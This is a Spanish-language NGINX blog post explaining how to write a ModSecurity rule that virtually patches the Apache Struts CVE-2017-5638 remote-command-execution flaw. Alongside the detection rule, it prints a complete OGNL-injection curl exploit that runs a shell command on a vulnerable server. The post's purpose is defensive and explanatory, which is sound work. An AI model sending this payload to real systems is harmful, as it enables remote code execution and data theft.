Uso de ModSecurity para aplicar un parche virtual a la vulnerabilidad CVE-2017-5638 de Apache Struts

Faisal MemonIngeniero de software

[Editor – El módulo NGINX ModSecurity WAF para NGINX Plus dejó de comercializarse oficialmente el 1 de abril de 2022 y llegará al final de su vida útil el 31 de marzo de 2024. Para obtener más información, consulte F5 NGINX ModSecurity WAF está llegando al final de su vida útil<.htmla> en nuestro blog.]

Muchas vulnerabilidades de seguridad se encuentran en bibliotecas utilizadas por el código de las aplicaciones. Cuando no resulte práctico implementar rápidamente una corrección en el código de una biblioteca, puede utilizar ModSecurity para interceptar un ataque y aplicar un «parche virtual» al código afectado hasta que pueda actualizar las bibliotecas correspondientes.

La vulnerabilidad de la biblioteca de aplicaciones Apache Struts (CVE-2017-5638), que provocó la filtración de 143 millones de cuentas de Equifax, es un ejemplo de vulnerabilidad que puede corregirse mediante un parche virtual. La vulnerabilidad se identifica por la presencia de las cadenas #cmd= o #cmds= en las cabeceras HTTP Content-Type, Content-Disposition o Content-Length. (Para obtener más información, consulte el apartado siguiente.)

Con ModSecurity, podemos crear un parche virtual mediante una regla sencilla que busque las cadenas maliciosas en las cabeceras HTTP afectadas:

SecRule REQUEST_HEADERS:Content-Type|REQUEST_HEADERS:Content-Length|REQUEST_HEADERS:Content-Disposition "@rx #cmds?=" "id:5638,auditlog,log,deny,status:403"

Definimos la regla con SecRule, proporcionando tres parámetros:

1. Las cabeceras de solicitud en las que se buscará, en forma de tres variables REQUEST_HEADERS unidas mediante OR
2. La expresión regular compatible con PERL (PCRE), según lo especificado por @rx, que busca en las cabeceras de solicitud especificadas cadenas que incluyan #cmd= o #cmds=
3. La acción que se debe realizar

Si ModSecurity está configurado en modo de bloqueo activo, descarta todo el tráfico que coincida con la PCRE y, por tanto, active la regla.

Descubra cómo empezar a utilizar NGINX y ModSecurity conjuntamente con nuestro libro electrónico: ModSecurity 3.0 y NGINX: Guía de inicio rápido

¿Por qué usar parches virtuales?

En muchos casos, es más rápido implementar una regla en ModSecurity que corregir el código afectado, volver a probarlo y, después, desplegarlo en producción.

Tomemos como ejemplo la vulnerabilidad de Apache Struts: dado que Struts es una biblioteca de aplicaciones y no un paquete del sistema operativo, actualizarla en un entorno de producción empresarial puede llevar cierto tiempo. Como parte de la actualización a una nueva versión de Struts, es necesario recompilar y probar cada aplicación que dependa de Struts con la biblioteca más reciente. Una gran organización podría tener cientos de aplicaciones, cada una con su propia versión de la biblioteca de Struts, por lo que seguiría siendo vulnerable hasta que se actualizaran todas y cada una de ellas.

Una vez implementada la regla personalizada de ModSecurity, puede aplicar los parches al software de producción con cuidado y dentro de un plazo razonable, sin la presión que supone estar expuesto a la vulnerabilidad. Cuando se haya actualizado todo el software afectado, se puede retirar la regla personalizada.

Cómo funciona el exploit CVE-2017-5638

Apache Struts CVE-2017-5638 es una vulnerabilidad de ejecución remota de comandos (RCE). Este tipo de vulnerabilidad permite al atacante ejecutar comandos arbitrarios, como /bin/bash o cmd.exe, en los sistemas objetivo. Gracias a ello, el atacante puede buscar datos confidenciales en el sistema de archivos y en la red con el mismo nivel de acceso que el servidor de aplicaciones Java. Por ejemplo, si el servidor de aplicaciones Java se ejecuta como root, el atacante tendrá privilegios de root en el sistema objetivo.

Según el CVE oficial, la vulnerabilidad se produce cuando un atacante envía una cabecera HTTP Content-Type con formato incorrecto, una cabecera Content-Disposition o una cabecera Content-Length. Apache Struts genera una excepción cuando esas cabeceras HTTP no coinciden con ninguno de los valores esperados. El problema se produce porque el código de gestión de excepciones intenta imprimir la cabecera no escapada y no válida. (En este contexto, «no escapada» significa que los comandos sospechosos no van precedidos de caracteres que impidan su ejecución —los caracteres de escape—, como se hace normalmente al imprimir código).

El atacante puede introducir una expresión de la Biblioteca de navegación de grafos de objetos (OGNL) en la cabecera Content-Type. OGNL permite ejecutar comandos del sistema. Cuando se muestra la cabecera no válida sin escapar, se evalúa la expresión OGNL y se ejecutan todos los comandos del sistema que contenga.

Los exploits suelen ser una variante del comando curl que se muestra a continuación.

curl -H "Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.example.com

La sintaxis clave se encuentra en la segunda mitad del comando: aparece una vez cada una de las cadenas #cmd= y #cmds= (resaltadas arriba). A cada una de ellas le sigue el comando del sistema que se va a ejecutar.

Resumen

La solución preferida es siempre aplicar de inmediato los parches al software vulnerable. Sin embargo, parchear el software en producción puede llevar mucho tiempo, y apresurar las actualizaciones puede ser arriesgado. Crear un parche virtual para el software vulnerable con ModSecurity permite ganar tiempo.

Con el parcheo virtual, se crea una regla personalizada de ModSecurity para bloquear el tráfico que podría aprovechar una vulnerabilidad de seguridad, como CVE-2017-5638. De este modo, se protege el sitio frente al ataque. Después, se pueden parchear los servidores de producción con cuidado y dentro de un plazo razonable, sin temor a sufrir un ataque mientras tanto.

Si desea obtener más información sobre ModSecurity y NGINX ModSecurity WAF, descargue nuestro libro electrónico, «ModSecurity 3.0 y NGINX: guía de inicio rápido».

Recursos

• CVE-2017-5638 – El aviso oficial de CVE
• CVE-2017-5638: Anatomía de la vulnerabilidad de Apache Struts – Un valioso análisis general de la vulnerabilidad
• Boletín de seguridad S2‑045 de Apache Struts – Página de Apache Struts sobre la vulnerabilidad de seguridad, con una solución alternativa
• Comentario de un usuario en el foro de ArsTechnica – Explicación de por qué no es fácil aplicar parches a Apache Struts

[El módulo WAF NGINX ModSecurity para NGINX Plus dejó de comercializarse oficialmente el 1 de abril de 2022 y llegará al final de su vida útil el 31 de marzo de 2024. Para obtener más información, consulte F5 NGINX ModSecurity WAF está llegando al final de su vida útil<.htmla> en nuestro blog.]

Sobre el autor

Faisal MemonIngeniero de software

Más artículos de Faisal Memon